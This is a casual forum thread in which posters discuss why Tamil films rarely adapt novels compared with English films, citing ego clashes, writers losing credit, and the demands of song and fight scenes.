The variety you could see in english movies is
because they derive their story lines from the
best selling fiction and sci-fi novels.. that includes Jurassic Park. We got good writers in tamil too. Why aren't the directors adopting the novels and resorting to pouring the same old
kanji in a new cup always ? Please do comment.
Thanks.

  There are many tamil movies that had been derived from novels and to say it in a better way....Stolen!!
  In good old days tamil movies were made with the scripts from novels, but today, no one is prepared to do that. Here we have lot of egoistic clashes and this may be one of the reason. I think it’s better for our tamil directors to have their own scripts instead of adapting novels......at least for the sake of the novelist. Coz’ in Hollywood the writer would get the credit for his job, but here he’ll be totally eclipsed.

  Did u know Virumbugiren is based on a novel abt the problems of a fire-fighter. I don't c y movies should b based on novels. It's ok juz the way it is. If u create a movie from scratch, ur addin creativity in2 it where else if u base a movie on a novel the plot's already there.

  Few reasons why tamil films aren't derived from novels..
  WHERE WOULD THE SONG SCENES AND FIGHT SCENES COME IN? (AS IF THAT'S THE MOST IMPORTANT ASPECT IN FILMS..) I mean, COME ON! For goodness's sake, English movies can run three hours straight with juz the movie.. Whereas tamil films hv to rely on song scenes and fight scenes(REALLY PATHETIC ONES SOMETIMES) to even complete two and a half hours..
